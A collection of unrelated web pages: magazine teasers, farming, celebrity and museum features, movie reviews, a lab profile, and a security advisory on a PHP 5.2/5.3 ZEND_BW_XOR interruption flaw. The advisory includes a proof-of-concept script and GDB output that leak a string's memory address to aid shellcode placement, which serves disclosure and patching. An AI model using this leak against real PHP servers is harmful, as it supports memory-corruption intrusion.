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Welcome to our free online newsletter delivering weekly installments from the pages of Charleston magazine. Keep up to date on can't-miss events, the city's food-and-beverage scene, cool local businesses, and more!
This Easter weekend, get creative with chef Vinson Petrillo's spin on deviled eggs
Welcome the season with Patrick Emerson's delicious salmon salad
Talking style and inspiration with Charleston Fashion Week's Featured Designers
Talking shop with graphic designer Blake Suárez, an F&B-community fave with clients both local and international
How a lucky pairing at Charleston Wine + Food and a delicious kitchen mishap gave one man a new start
On Thursday, March 1, Charleston Wine + Food pays homage to the late Edna Lewis, sometimes called the "Julia Child of Southern cooking"
Wildlife and sporting artist Peggy Watkins explains why she begins every painting with the same soulful feature
Planning a date-night in for Valentine's Day? Whip up this romantic pasta dish with ricotta, browned butter, and winter vegetables, courtesy of Indaco's Elliot Cusher
Take a peek into our ultimate Lowcountry Oyster Guide by following Jeff Spahr, owner of Charleston Oyster Company, on a typical day's harvest
How a former Charleston Grill cook and a real estate worker switched to trading in cheese at Burden Creek Dairy LLC
Before the Charleston Jazz Festival kicks off tomorrow, get the scoop on the school training new generations of jazz artists
Making good on a resolution or still recovering from holiday festivities? Mix up a refreshing mocktail—a crisp, flavorful substitute to the boozy alternative—with a recipe from Hilary Curry of Cannon Green.
Meet Nameless Numberhead, the sketch comedy duo determined to bring more improv—and hysterical laughter—to the Holy City
Miniature artist Ken Hamilton makes a huge deal out of tiny things
Tis the season for special treats. Here, local bakeries and purveyors share their recipes for sweet favorites for gifting, serving, or simply indulging
Charleston Wine + Food's Mary Austin celebrates the holiday season by serving up family soup recipes and nostalgic desserts
Warm-hearted locals are spreading holiday cheer to families in need, one evergreen at a time
South Carolina's own NEEDTOBREATHE unplugs for Charleston


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Well, I already have all the gear for having good time on the snow. And I got it used and so cheap, that it didn't even touch my "winter funds". And I am happy with all the stuff I got - skis, boots, poles and jacket. I am not an eBay fan and don't recommend to anybody - it is just too much of pain to win the right auction on the right price and so on... I don't like to deal with "ebayers" either. All the used stuff I got I got it from http://galacticsnowsports.com and I have to admit - they really sell cheap and the items I got are in pretty good condition. Anyway - get ready for winter and even book a place to stay for your vacation.
Take care,

subset: commoncrawl


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Disease-resistant varieties have revolutionized peanut production, in some cases de-emphasizing the importance some growers place on control measures.
But all of the same diseases are still relevant, and to ignore any one of them would be a mistake.
In looking back over this past year, Auburn University Extension plant pathologist Austin Hagan says extremely high temperatures prompted a resurgence in white mold disease on peanuts.
"We didn't see a lot of tomato spotted wilt virus (TSWV). But in the past, the disease pressure was so bad that some fields had to be plowed under," says Hagan. "Just because we didn't see much last year doesn't mean it's gone — it could come back."
Peanut producers have replaced the once-popular Georgia Green with varieties that have higher levels of resistance to the disease, he says. "We should be in pretty good shape as we shift over to these new varieties. In the Peanut Rx, we assign point values as far as sensitivity or susceptibility to TSWV. Georgia Green is up to 30 total points, and all of the newer varieties look very good."
Many fungicides are now available for leafspot, and that's probably the disease growers should be most concerned about, says Hagan.
"Many new products are out there, and they all will control early leafspot — which is the main concern — and late leafspot. There are a lot of alternatives depending on what type of program you want to put together. We have generic products that'll be relatively inexpensive, generic chlorothalanil and the generic Folicur-type products, and we have the brand-name materials. So there are a broad range of costs out there when you look at leafspot control," he says.
Need-based point system
The Peanut Rx program, explains Hagan, is a need-based, point system that allows growers to use some of the name-brand products but reduces the total application costs.
"We've had very good luck using these programs in trials. The four or five-spray programs with a resistant variety have worked very well in comparison to the seven-spray program. The main sprays you cut out with the Peanut Rx program are sprays of chlorothalonil. If you're talking about a generic chlorothalonil, you're talking about $5 per product per application, and if you're talking about Bravo Ultrex or Bravo WeatherStik, you're talking about $7 or $7.50. You're probably going to save no more than $15 per acre when shifting to this program, but it is an option. The other option is to go the generic route."
As far as leafspot resistance, the best variety bets, says Hagan, are GA-07W, FLA-07 and Tifguard. "These varieties give you added security as far as slowing down leafspot. That's especially helpful if we have a tropical storm or hurricane that keeps you out of the field for a couple of weeks."
(For a look at how growers figure the value of peanut variety resistance see http://southeastfarmpress.com/peanuts/placing-value-disease-resistant-peanut-varieties-0).
If you were going to look at a prescription program where you use reduced fungicides for leafspot control, you're probably better off using one of those varieties as well, he says.
"These varieties give you an extra margin of safety over Georgia Green. Basically, from our standpoint, looking at diseases, GA-06G is every bit as susceptible to white mold and leafspot as Georgia Green."
Looking at leafspot ratings at the plant breeding unit in Shorter, Ala., the highest came in for Georgia Green and the lowest for Tifguard, with many of the other varieties falling somewhere in between, he says.
"A grower might have a problem with white mold if he has a history of soybean production, or he's back for the third time with peanuts, or he has had some history with vegetables in the field, especially if it becomes hot and dry at pegging time."
One way to suppress white mold is to plant later, says Hagan. "Down in the Wiregrass region of southeast Alabama and in other areas, growers are wanting to move their planting dates earlier to give them a little more flexibility at the end of the season with harvest operations. With those late April to early May planting dates, they're more likely to run into problems with white mold because the peanuts have been setting their pods in late August and early September, when temperatures are really hot, particularly at night.
"If we plant in the middle of May to the end of the month, then the peanuts are maturing in late September up until the first of October, the soil temperatures will be dropping, and the risk of white mold will go down on its own."
As for varieties, Georgia Green and Georgia Greener tend to have more issues with white mold than almost all of the others, he says.
Many products out there
"There are a lot of white mold products out there. If you look at economics, the least expensive products are the generic Folicur ones. Tubuconazole is a fairly cheap product right now. In some trials, it doesn't do quite as well as some of the name-brand products. When you look at costs, you could put together a white mold/leafspot program with generics at a much lower cost than a name brand. You need to look at it on a field-by-field basis."
One new fungicide product that growers will see on the market for next year is Fontelis from DuPont, says Hagan. "It is a premium product. Its yield response and level of disease control is comparable to products like Provost, Abound and Convoy."
For the past couple of years, says Hagan, researchers have been looking at peanut seeding rates in Headland, Ala.
"A number of years ago in the mid-1980s, there was work done about reducing seeding rates. They were able to show that with planting Florunner at 70 pounds of seed per acre, they were able to make the same yields as with about 100 pounds per acre. After the work was done, TSWV came on the scene, and that was the end of cutting seeding rates, because with susceptible varieties, whenever you started thinning the stand, the amount of virus increases dramatically. So we pushed people to plant six seed per foot of row."
In 2010, researchers planted GA-07, GA-06G and Georgia Green. "GA-07 and GA-06 outyielded Georgia Green. Also, we had a little bit less disease with the low seeding rate, but the yields were the same across all seeding rates. I'm not suggesting you go to two or three seed per foot of row, but there is some margin for working within seeding rates as a means of saving a little bit of money. If TSWV comes back, we'll have to jack up seeding rates. If we're in a situation where virus is declining, this may be a place where you might save a little bit of money. We got the same results in 2009 as in 2010, and we'll repeat this trial this year."


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Anwar Hussein/WireImage(2)
Perceptive royals-watchers have noticed that the Windsors have a new addition to the family — Prince William's bushy facial hair. The heir to the throne has been sporting the sea-captain look in recent weeks, with photographers catching a clean-shaven Prince Harry and a noticeably shaggy Prince "Hairy" playing soccer on Christmas Eve. Wills even snagged runner-up in the Beard of the Year award, given out annually by the Beard Liberation Front to those who give the facially fuzzy a good name. Prince William joins other high-wattage names who've taken to letting their inner lumberjacks out, including Robert Pattinson, Jake Gyllenhaal and Hugh Jackman. Tell us: What do you think of Prince William's new beard? Vote in our poll below! –Michael Y. Park
[style-poll http://webcenter.polls.aol.com/modular.jsp?template=1679&view=158991&pollId=159271&channel=aol_us_timepeople6%5D


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It's hard to take a place seriously that bills itself as "the hoppiest place on Earth."
But when it comes to keeping my preteen daughters happy, entertained and out of prison, I'll take anything seriously.
I am all about high culture and stuff like that. So a few weeks ago, I decided to introduce them and a couple of their friends to some of the more highfalutin' sites near us. But since we're on the restricted list at most of the traditional museums — who knew the caveman diorama at the Natural History Museum wasn't scratch-and-sniff? — I had to search for something off-the-beaten path to enlighten them.
That's how I found — somewhere on a list between the Los Angeles Police Museum and the Museum of Death — the Bunny Museum.
You'd think a museum devoted to all things bunny would either be a joke or the subject of "Hoarders Gone Wild." But it is neither. Curators Candace Frazee and Steve Lubanski have taken a sweet, personal sentiment and turned it into an ever-expanding phenomenon.
Since it's in their Pasadena home, it is a "living museum," and visits are by appointment only. I called and luckily was able to get in the same day.
"Have a hoppy day!" chimed Candace when we hung up. And I know she meant it.
It's not hard to find, just look for the enormous shrub sculpture of a bunny on the front lawn, remnants of a Rose Parade float. After handing over five "bunny bucks" per person and getting a brief introduction to the museum's history and rules, we were free to roam the hallowed — and cluttered — halls.
When you cram nearly 30,000 bunny-related collectibles — plush toys, ceramics, marionettes, chocolate… anything — into a modest-sized home, floor-to-ceiling, there's not a lot of wiggle room. That's what happens when the gift-giving of sweethearts multiplies like, well, rabbits.
The collection started 21 years ago. "Steve gave me one (a bunny gift) on Valentine's Day," said Candace, who speaks with the readiness of a tracked rabbit. "Then I gave him one at Easter. Then it became every holiday."
And so on until they were giving each other a bunny gift every single day. Still do.
This keeps the museum well-stocked. They began showing the collection to friends, family and the curious 14 years ago. At first, it was open only on holidays. When the demand grew, they opened every day of the year and now accommodate between two and 200 visitors daily.
"The largest group we had was 300 at one time," Candace said about a group of teachers from Phoenix University. "We've had two Harley-Davidson groups, and they were 50 each."
Their visit made for interesting parking in their quaint neighborhood, she added.
They've had visitors from almost every state and more than 43 countries.
The museum was recently featured on the Science Channel show "Oddities," and is in the Guinness Book of World Records for Largest Collection of Rabbits (Bunnies).
But perhaps most notably, you know you've made it when you are visited by Huell Howser. The late, great seeker of all things "amaaaazing" in California taped a 2007 episode of "Visiting… With Huell Howser" at the museum. The episode was selected as one of the top 18 visits to be shown at a tribute to Howser after his death in January.
Everything in her brood is equally loved. But Candace will point out a few notable pieces if you ask nicely, such as the Elvis "Parsley" bunny water pitcher, the White House Easter Egg Roll commemorative eggs and MooDoo and ZooDoo, rabbits made from organic material.
"These are garden fertilizers. Made of poo… They mold it, you stick it outside and when it rains they dissolve."
According to Candace, the entry fee used to just be veggies to feed the museum's living rabbits. But people started bringing whatever was rotting in their fridge, brunch leftovers and the mashed detritus left in the bottom of a Jamba Juice smoothie cup.
Visitors are still encouraged to bring food for the bunnies though.
"Just no carrots. Everyone always brings carrots," Candace said.
They eat carrots, but have plenty. Cilantro, parsley and spinach are bunny favorites.
And when one of the live rabbits dies, it too becomes a part of the exhibit. Freeze-dried.
Visit their website (www.thebunnymuseum.com) for more information and you'll even see a series of web commercials featuring actor Elijah Wood. And if you rub your lucky rabbit's foot, you might even find yourself interviewed by Candace for their weekly web show "Hop on Over."
It's what's hoppening.
Yeah. I said it.
PATRICK CANEDAY may be reached at firstname.lastname@example.com. Friend him on Facebook. Read more at www.randomthoughtsonbeinghuman.com.


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Posts TaggedIRS
It's tax season again, at least in the States, and if you haven't filed your taxes already then you probably will soon. Every year, more and more people file their taxes online. Not only are online tax applications making taxes easier than ever to file, they're also making it easier than ever to ensure there are no mistakes—not to mention you'll get your return much faster when filing online.
We've rounded up the top five web apps for filing taxes online and ensuring they're being done right for an easier and more accurate return.


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PHP's ZEND_BW_XOR opcode can be abused for address information leak attacks by an userspace error handler interruption attack.
Affected versions
Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2
The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.
Detailed information
This vulnerability is similar to the other interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. The ZEND_BW_XOR opcode interruption is however different from all the other previously disclosed interruption vulnerabilities because it does not interrupt an internal PHP function, but an opcode handler of the Zend Engine. This is different because the usual recommendation to disable call time pass by reference to fix this vulnerability does not work here.
To understand how the ZEND_BW_XOR opcode can be interrupted by a userspace error handler it is necessary to look into the implementation of the opcode.
zend_op *opline = EX(opline);
zend_free_op free_op1, free_op2;
The handler itself does only call the bitwise_xor_function() and passed a temporary result variable and the two operands to this function. This is important to remember because both operands can be either constant values, temporary variable registers, normal variables and compiled variables. The bitwise_xor_function() is implemented as seen below. The special case of two string values being xored against each other is omitted here because it is irrelevant for our attack.
zval op1_copy, op2_copy;
if (Z_TYPE_P(op1) == IS_STRING && Z_TYPE_P(op2) == IS_STRING) {
zendi_convert_to_long(op1, op1_copy, result);
zendi_convert_to_long(op2, op2_copy, result);
ZVAL_LONG(result, Z_LVAL_P(op1) ^ Z_LVAL_P(op2));
return SUCCESS;
/* }}} */
We can see that obviously both operands are converted to long before their long values are XORed against each other and written into the result register. So far it is not yet obvious how this can result in a userspace error handler interruption vulnerability. To see this it is necessary to look into the zendi_convert_to_long() macro implementation as seen below.
if (op == result) { \
convert_to_long(op); \
} else if (Z_TYPE_P(op) != IS_LONG) { \
switch (Z_TYPE_P(op)) { \
case IS_NULL: \
Z_LVAL(holder) = 0; \
break; \
case IS_DOUBLE: \
Z_LVAL(holder) = zend_dval_to_lval(Z_DVAL_P(op)); \
break; \
case IS_STRING: \
Z_LVAL(holder) = strtol(Z_STRVAL_P(op), NULL, 10); \
break; \
case IS_ARRAY: \
Z_LVAL(holder) = (zend_hash_num_elements(Z_ARRVAL_P(op))?1:0); \
break; \
case IS_OBJECT: \
(holder) = (*(op)); \
zval_copy_ctor(&(holder)); \
convert_to_long_base(&(holder), 10); \
break; \
case IS_BOOL: \
case IS_RESOURCE: \
Z_LVAL(holder) = Z_LVAL_P(op); \
break; \
default: \
zend_error(E_WARNING, "Cannot convert to ordinal value"); \
Z_LVAL(holder) = 0; \
break; \
} \
Z_TYPE(holder) = IS_LONG; \
(op) = &(holder); \
It should be obvious that in case of a PHP variable that is already of the type IS_LONG nothing will happen. It should also be obvious that the default switch case will result in a userspace error handler being called. However we cannot reach the case. Not so obvious is that the IS_OBJECT case can also result in a userspace error handler being called, because of the call to convert_to_long_base() as seen below (all the irrelevant switch cases omitted).
long tmp;
switch (Z_TYPE_P(op)) {
case ...:
case IS_OBJECT:
int retval = 1;
convert_object_to_type(op, IS_LONG, convert_to_long);
if (Z_TYPE_P(op) == IS_LONG) {
zend_error(E_NOTICE, "Object of class %s could not be converted to int", Z_OBJCE_P(op)->name);
ZVAL_LONG(op, retval);
Z_TYPE_P(op) = IS_LONG;
This code will trigger an error for object instances of user defined classes and return a IS_LONG value of value 1.
To understand how this can be used in an exploit it is necessary to remember that this conversion steps are first performed for both operands of the ZEND_BW_XOR opcode. Therefore having an XOR operation with an integer as first operand and an object as second operand is exploitable. The first operand will not be touched because it already is an integer (IS_LONG) variable and the second operand will trigger a userspace error handler. That userspace error handler can then change the first operand, because it is directly linked to a PHP variable that can be changed.
If the error handler changes the PHP variable into a string the first operand used in the XOR will be the pointer to the string characters in memory and the second operand will be 1. In case of an array it will be the address of the Hashtable XOR 1. In both cases a simple XOR with 1 allows retrieving the in memory address of either a string or a hashtable.
Proof of concept, exploit or instructions to reproduce
The following exploit code will leak the address of a string to the attacker, which is very useful to leak the address of shellcode.
/* This will leak the Address of the string "I AM THE SHELLCODE. SERIOUSLY..." in memory */
/* Initialize */
$a = 1;
$b = new stdClass();
/* Setup Error Handler */
/* Trigger the Code */
$addr = $a ^ $b;
$addr ^= 1;
echo sprintf("%016x\n", $addr);
function my_error()
$GLOBALS['a'] = "I AM THE SHELLCODE. SERIOUSLY...";
return 1;
And here is the GDB session that proves the usefulness.
Breakpoint 1 at 0x100244a09
(gdb) run xor_interruption.php
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/php xor_interruption.php
Reading symbols for shared libraries . done
Breakpoint 1, 0x0000000100244a09 in zif_sleep ()
(gdb) x/1s 0x100b4b098
0x100b4b098: "I AM THE SHELLCODE. SERIOUSLY..."
In order to fix this vulnerability it would be possible to either remove the E_NOTICE error or to check the operand type again inside bitwise_xor_function() before actually XORing the two operands and error out in case of a mismatch.


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Sometimes the title of a movie tells you all you need to know about it."Man on a Ledge"is in that category.
Sam Worthington stars and spends most of his screen time as a mysterious man standing outside the 21st floor of a New York hotel, threatening to jump. Elizabeth Banks is the pretty blond detective who tries to talk him out of his suicide mission.
The story starts as a police procedural familiar to viewers of TV cop shows. But it quickly enters the realm of a far-fetched caper flick. We discover along with the cop that the jumper on the ledge really wants to facilitate the high-tech theft of a multimillion-dollar diamond from a building across the street.
Ed Harris plays the real estate mogul who owns the diamond. For reasons that become obvious, he wants the guy on the ledge to be dead as soon as possible.
Sinister dealings from the past are revealed. There is action and excitement. But in the end, this is a 'B' movie with some entertainment value that would work well as an episode of "Law and Order."
Fighting for survival in 'The Grey'
When the going gets tough, go get Liam Neeson. The strapping 6-feet-4 star once again brings his perennially brooding presence to another entertaining action flick, "The Grey."
In a true white-knuckle sequence, a small plane bearing oil-pipeline workers crashes in the Alaskan wilderness with few survivors. They turn out to be your standard, heavily-bearded crash victims: the angry guy, the sensitive guy, the quiet guy, the sickly guy, and the brawny, cool-in-a-crisis guy (Neeson).
Then there's the wolf pack — not the guys from"The Hangover,"but great growling gray beasts eager for a fresh-off-the-wreck manwich.
According to the filmmakers, there's nothing like imminent death to put one in the throes of an existential crisis. This is where "The Grey" takes a surprising detour as the men not only fight for survival, but also ponder the sum total of their lives.
"The Grey" is a pretty exciting adventure that won't insult your intelligence. And while these manly men may show a bit of sentiment, at least nobody turns into a cannibal or a vampire.
JOHN DEPKO is a retired senior investigator for the Orange County public defender's office. He lives in Costa Mesa and works as a licensed private investigator.
SUSANNE PEREZ lives in Costa Mesa and is an executive assistant for a company in Irvine.


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Browse by Medical Category
Research at Mass General
More information can also be found here: Wu Lab
Welcome to the Wu lab website! We are a new lab at CBRC, MGH/Harvard Medical School, located at the MGH-Charlestown Navy Yard, Building 149.We are interested in using chemical biology and functional genomics to investigate cell signaling pathways that are involved in the regulation of stem cell fate and tumorigenesis, as well as essential cellular functions such as terminal differentiation, senescence, and quiescence. Our goal is to discover novel therapeutic targets and agents for the treatment of degenerative diseases and cancers.
Xu Wu, PhD
Principal Investigator, MGHAssistant Professor, Harvard Medical SchoolB.S. Chemistry, Peking UniversityM.S. Biological Chemistry, University of PennsylvaniaPh.D. Chemistry, The Scripps Research InstituteBefore joining the faculty of MGH/HMS, Xu was a PI and Director of Biological Chemistry at Genomics Institute of the Novartis Research Foundation (GNF) for 6 years. He has been working on chemical biology and drug discovery for regenerative medicine and cancer.
Michael DeRan, Ph.DPostdoctoral Research firstname.lastname@example.com. Biochemistry, St. Bonaventure UniversityM.S. Biochemistry, University of RochesterPh.D. Biochemistry, University of RochesterMichael finished his Ph.D in Biochemistry at Prof. Jiyong Zhao's lab at University of Rochester. His Ph.D work was focused on NPAT-mediated transcriptional regulation of histone gene during cell cycle, and the function of NPAT in DNA damage. Michael is now investigating the signaling crosstalks of Hippo pathway and other essential signaling pathways using chemical tools. Baohui Zheng, Ph.DPostdoctoral Research FellowB.S. and M.S. Chemistry, Nankai UniversityPh.D. Organic Chemistry, Shanghai Institute of Organic Chemistry (SIOC), Chinese Academy of Sciences (CAS)Baohui was trained as an organic chemist at Prof. Xue-Long Hou's lab at SIOC/CAS. His Ph.D work was focused on Pd-Catalyzed asymmetric allylic substitution reaction. Baohui is now working on medicinal chemistry and chemical biology of novel modulators of pathways that controls stem cell fate and tumorigenesis.
Xinyan Li, Ph.DVisiting Scholar/Research FellowB.A, Medicine, Nanjing Medical UniversityM.A. Pharmacology, Dalian Medical UniversityPh.D. Pharmacology, China Pharmaceutical UniversityXinyan is a visiting scholar from Shanghai Jiaotong University. She worked on high throughput screening and mechanistic studies of liver cirrhosis before. Her current work is to develop novel chemical biology tools to study Hedgehog and Hippo pathways and protein palmitoylation.
Chemical Biology and Functional Genomics of Regeneration and CancerOne of the important aspects of life science research is to understand human diseases at the molecular level and develop therapeutics targeting the disease relevant gene products. It remains challenging to develop new therapeutics with a traditional "target-based" approach, mainly because 1) Many of the disease relevant genes are not easily "druggable". 2) Many human diseases are highly complex and involve multiple factors. It is difficult, and maybe unrealistic, to identify a "magic bullet" for such diseases. Therefore, it would be important to develop new strategies to understand cellular signaling networks and how they are "rewired" in diseases. Such work might reveal the critical "nodes" of the signaling network, allowing the development of effective therapeutics. Our group is interested in using chemical and functional genomics approaches to study signaling networks and cellular processes in diseases, aiming to discover novel chemical modulators and pharmacologically validate new therapeutic targets for cancer and degenerative diseases.1. Chemical approaches for posttranslational protein palmitoylation
The covalent attachment of lipid moieties is an essential modification of proteins. S-palmitoylation is a dynamic and reversible process. Cys-rich DHHC-family of palmitoyl acyltransferases (PATs) have been shown to catalyze palmitoylation, and other protein acyl transferase might also exist. Dynamic palmitoylation of proteins has been linked to the regulation of membrane attachment, trafficking and signaling activities of membrane bound receptors, kinases, and G-proteins.Although palmitoylation is an important posttranslational modification, the detailed mechanisms and its function in signal transduction are largely unknown, due to the lack of proper tools and probes to dissect this process. There are at least 23 DHHC containing PATs in human genome, and their functions are elusive.To this end, we are interested in using combinatorial synthesis, affinity-based proteomics and medicinal chemistry to address the key questions of this modification: 1) What are the substrates for each of the PATs and are there other proteins that catalyze such reaction? 2) What are the functions of dynamic palmitoylation in signal transduction? 3) Can we develop specific inhibitors for PATs and acylprotein thioesterases (APTs) to dissect the dynamic regulations?2. Chemical approaches to dissect signal cross-talking and "rewiring" in degenerative diseases and cancerCellular behaviors are regulated by a complex network of signal transduction pathways. The precise coordination and orchestration of multiple signaling pathways are essential for proper cellular functions. In diseases like cancer, oncogenic events often "rewire" the signaling network, resulting aberrant cell growth, survival and motility through non-canonical signaling cascades. Identification of small molecule tools that regulate the "nodes" of the crosstalks would be very important to understand the "rewired" signaling network and develop novel and effective therapeutics.One essential question that we would like to understand is how cell growth is coordinated through multiple signals including growth factors, cell-cell contact and nutrients. We developed high throughput screening strategies to interrogate the signaling networks involving Hedgehog, Wnt and Hippo signaling, and their interactions with other key signaling pathways. We are developing novel chemical modulators of these networks, and pharmacologically validating novel therapeutic targets for cancer and degenerative diseases.3. Chemical and functional genomic approaches for cellular senescence and terminal differentiationCellular senescence is characterized as irreversible cell cycle exit as a result of cells reaching their proliferation limit or under oncogenic stress, and is often linked to aging and serves as a barrier for oncogenic transformation. Small molecule and genetic factors that modulate cellular senescence and terminal differentiation would be useful to reveal novel mechanisms underlying these processes and provide new therapeutic approaches for cancer.We are interested in discovering new chemical tools that modulate cellular senescence, reinstall oncogene-induced senescence in cancer cells; and induction of terminal differentiation of stem cells, progenitors and cancer cells. We will investigate the mode of action of these tools and pharmacologically validate the new targets.
View my publications at PubMed
1. Haiyan Tao, Qihui Jin, Dong‐In Koo, Xuebing Liao, Nathan P. Englund, Yan Wang, Peter G. Schultz, Marion Dorsch, Joseph Kelleher, and Xu Wu*, "Small Molecule Antagonists in Distinct Binding Modes Inhibit Drug Resistant Mutant of Smoothened" 2011, Chemistry & Biology, 18, 1-6.2. Jun Liu, Kristen Johnson, Jie Li, Victoria Piamonte, Brian M. Steffy, Mindy Hsieh, Nicholas Ng, Jay Zhang, John R. Walker, Sheng Ding, Ken Muneoka, Xu Wu, Richard Glynne, Peter G. Schultz* "A Regenerative Phenotype in Mice with a Point Mutation in TGFBR1" 2011, Proc Natl Acad Sci U S A. Submitted.3. Silvia Buonamici, Juliet Williams, Anlai Wang, Ribo Guo, Anthony Vattay, Kathy Hsiao,Jing Yuan, John Green, Lance Ostrom, Paul Fordjour, Dustin L. Anderson, Michael Morrissey, John E. Monahan, Joseph F. Kelleher, Stefan Peukert, Shifeng Pan, Xu Wu, Sauveur‐Michel Maira, Carlos Garcia‐Echeverria, Kimberly J. Briggs, D. Neil Watkins, Yungmae Yao, Christoph Lengauer, Markus Warmuth, William R. Sellers, Marion Dorsch*, "Targeting resistance to Smoothened antagonists by inhibiting the PI3K pathway" Science Translational Medicine, 2010, 2, 51ra70.4. Hans Skvara, Frank Kalthoff, Marion Dorsch, Joseph Kelleher, Xu Wu, Shifeng Pan, Lesanka Mickel, Christopher Schuster, Georg Stary, Ahmad Jalili, Olivier David, Ana Monica Costa Antunes, Arthur P. Bertolino, Anton Stuetz, Kristine Rose, Georg Stingl, Menno A. De Rie* "Topical treatment of Basal cell carcinomas, occurring in patients with Gorlin's syndrome, with a Smoothened inhibitor" Journal of Investigative Dermatology, 2011, published online on March 22, doi:10.1038/jid.2011.485. Xiaoyi V. Hu, Tania M. A. Rodrigues, Haiyan Tao, Robert K. Baker, Loren Miraglia, Anthony P. Orth, Gary E. Lyons*, Peter G. Schultz* and Xu Wu*, "A Functional Genomics Screen Identifies RNF4 as a Regulator of DNA Demethylation" 2010, Proc Natl Acad Sci U S A. 107(34):15087-926. Shifeng Pan*, Xu Wu, Jiqing Jiang, Wenqi Gao, Yongqin Wan, Dai Cheng, Dong Han, Jun Liu, Nathan P. Englund, Yan Wang, Stefan Peukert, Karen Miller‐Moslin, Jing Yuan, Ribo Guo, Melissa Matsumoto, Anthony Vattay, Yun Jiang, Jeffrey Tsao, Fangxian Sun, AnneMarie C. Pferdekamper, Stephanie Dodd, Tove Tuntland, Wieslawa Maniara, Joseph F. Kelleher, III, Yung‐mae Yao, Markus Warmuth, Juliet Williams and Marion Dorsch, "Discovery of NVP‐ LDE225, a Potent and Selective Smoothened Antagonist" ACS Med. Chem. Lett. Published online, 2010, DOI: 10.1021/ml10003077.7. Yahua Liu, Qiang Ding and Xu Wu* "Concise Regiospecific Synthesis of 5‐chloropyrido[4,3‐ d]pyrimidin‐4(3H)‐one" Synthesis, 2010, No. 1, 0030–0032x8. Xu Wu and Peter G. Schultz* "Synthesis at the Interface of Chemistry and Biology" Journal of the American Chemical Society, 2009; 131(35):12497‐515. This paper is the first JACS Perspectives published in 130 yrs history of the flagship journal of American Chemical Society. JACS Perspectives is a new series of review articles for JACS to capture the new concepts and interdisciplinary chemical research. Highlighted by JACS editor. J. Am. Chem. Soc., 2009, 131 (35). Highlighted in Chemical & Engineering News.9. Shoutian Zhu, Heiko Wurdak, Yan Wang, Anna Galkin, Haiyan Tao, Jie Li, Costas Lyssiotis, Feng Yan, Bu Tuu, Loren Miraglia, John Walker, Fanxiang Sun, Anthony Orth, Jennifer Harris, Peter G. Schultz* and Xu Wu* "A genomic screen identifies TYRO3 as a MITF regulator in melanoma " Proc Natl Acad Sci U S A. 2009; 106(40):17025‐3010. Shoutian Zhu, Heiko Wurdak, Jian Wang, Costas A. Lyssiotis, Eric C. Peters, Charles Cho, Xu Wu*, and Peter G. Schultz* "A Small Molecule Primes Embryonic Stem Cells for Differentiation" Cell Stem Cell 2009; 4(5):416‐426.
Highlighted in Nature Chemical Biology 5, 456457 (2009). Endowing Endoderm. Highlighted in Cell Stem Cell 4, 373374 (2009). Using Small Molecules to Great Effect in Stem Cell Differentiation. Highlighted in Molecular Interventions 9, 167 (2009). Stauprimide: A Small Molecule Directs Stem Cells to Differentiate.
11. Weidong Wang, John R. Walker, Xia Wang, Matthew S. Tremblay, Jae Wook Lee, Xu Wu, and Peter G. Schultz* "Identification of small‐molecule inducers of pancreatic β‐cell expansion" Proc Natl Acad Sci U S A. 2009;106(5):1427‐32.12. Yahua Liu, Qiang Ding and Xu Wu* "Rearrangement of N,N‐Di‐tert‐butoxycarbonyl‐pyridin‐4‐ amines and Formation of Polyfunctional Pyridines" The Journal of Organic Chemistry 2008; 73(15):6025‐8.13. Jongkook Lee, Xu Wu, Maria Pasca di Magliano, Eric C. Peters, Yan Wang, Jiyong Hong, Matthias Hebrok, Sheng Ding, Charles Y. Cho, Peter G. Schultz. "A Small‐Molecule Antagonist of the Hedgehog Signaling Pathway." Chembiochem. 2007; 8(16):1916‐1919.14. Costas A. Lyssiotis, John Walker, Chunlei Wu, Toru Kondo, Peter G. Schultz* and Xu Wu* "Inhibition of Histone Deacetylase Activity Induces Developmental Plasticity in Oligodendrocyte Precursor Cells" Proc Natl Acad Sci U S A. 2007 104(38):14982‐7.
Highlighted in Cell 131, 197198 (2007). Leading Edge: Glial Precursors Break Their Commitment.15. Yibing Qyang, Silvia Martin‐Puig, Murali Chiravuri, Shuibing Chen, Huansheng Xu, Lei Bu, Xin Jiang, Lizhu Lin, Anne Granger, Alessandra Moretti, Leslie Caron, Xu Wu, Jonathan Clarke,Makoto M. Taketo, Karl‐Ludwig Laugwitz, Randall T. Moon, Peter Gruber, Sylvia M. Evans, Sheng Ding, and Kenneth R. Chien* "The Renewal and Differentiation of Isl1+ Cardiovascular Progenitors Are Controlled by a Wnt/β‐Catenin Pathway" Cell Stem Cell, 2007 16;1(2):165‐79.
16. Jun Liu, Xu Wu, Brian Mitchell, Chris Kintner, Sheng Ding and Peter G. Schultz* "Small Molecule Agonists of the Wnt Signaling Pathway" Angew. Chem. Int. Ed.2005. 44. 2‐4.
17. Xu Wu, John Walker, Jie Zhang, Sheng Ding and Peter G. Schultz* "Purmorphamine Induces Osteogenesis by Activation of Hedgehog Signaling Pathway" Chemistry & Biology, 2004, 11(9), 1229‐38.
This work has been reported by many news agencies, including Bio.com and has been reviewed in several renowned scientific journals.
18. Shuibing Chen, Qisheng Zhang, Xu Wu, Peter G. Schultz*, and Sheng Ding* "Dedifferentiation of Lineage‐Committed Cells by a Small Molecule" Journal of the American Chemical Society, 2004, 126 (2), pp 410–41119. Xu Wu, Sheng Ding and Peter G. Schultz* "Small molecule Inducers of Cardiomyogenesis in Embryonic Stem Cells" Journal of the American Chemical Society, 2004, 126(6), 1590‐1591.
